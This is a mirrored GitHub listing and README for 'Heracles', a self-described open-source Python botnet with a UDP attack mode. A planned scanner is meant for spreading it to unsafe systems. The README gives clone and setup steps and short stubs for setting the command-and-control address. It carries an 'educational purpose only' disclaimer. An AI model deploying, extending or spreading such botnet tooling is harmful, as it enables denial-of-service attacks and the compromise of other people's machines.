https://github.com/maxi-schaefer/heracles
Heracles is a simple botnet I created, it uses sockets to connect with the clients and the only attack protocol at the time (13/1/2024) is UDP, so feel free to commit to this project.
https://github.com/maxi-schaefer/heracles
Last synced: 23 days ago
JSON representation
Heracles is a simple botnet I created, it uses sockets to connect with the clients and the only attack protocol at the time (13/1/2024) is UDP, so feel free to commit to this project.
- Host: GitHub
- URL: https://github.com/maxi-schaefer/heracles
- Owner: maxi-schaefer
- Created: 2024-01-12T17:56:07.000Z (over 2 years ago)
- Default Branch: main
- Last Pushed: 2024-01-13T11:08:23.000Z (over 2 years ago)
- Last Synced: 2025-06-16T01:40:52.435Z (about 1 year ago)
- Language: Python
- Homepage:
- Size: 41 KB
- Stars: 1
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Heracles Open Source Botnet
> ⚠️ This is for educational purpose only
Heracles is a simple botnet I created, it uses sockets to connect with the clients and the only attack protocol at the time (13/1/2024) is UDP, so feel free to commit to this project.
Currently working on coding a tcp scanner for spreading the botnet on unsafe systems.
## Demo

## How to setup
1. Clone this repository
```bash
git clone https://github.com/maxi-schaefer/heracles.git
```
2. Change the ip address and the port to your own
Server (./server/heracles.py)
```python
#...
class Server():
# IP PORT
def __init__(self, connect:Tuple[str, int]=("127.0.0.1", 6969)):
clear()
#...
```
Client (./client/client.py)
```python
#...
class Client():
run = False
# IP PORT
def __init__(self, connect:Tuple[str, int]=("127.0.0.1", 6969)) -> None:
signal.signal(signal.SIGINT, self.exit_gracefully)
signal.signal(signal.SIGTERM, self.exit_gracefully)
#...
```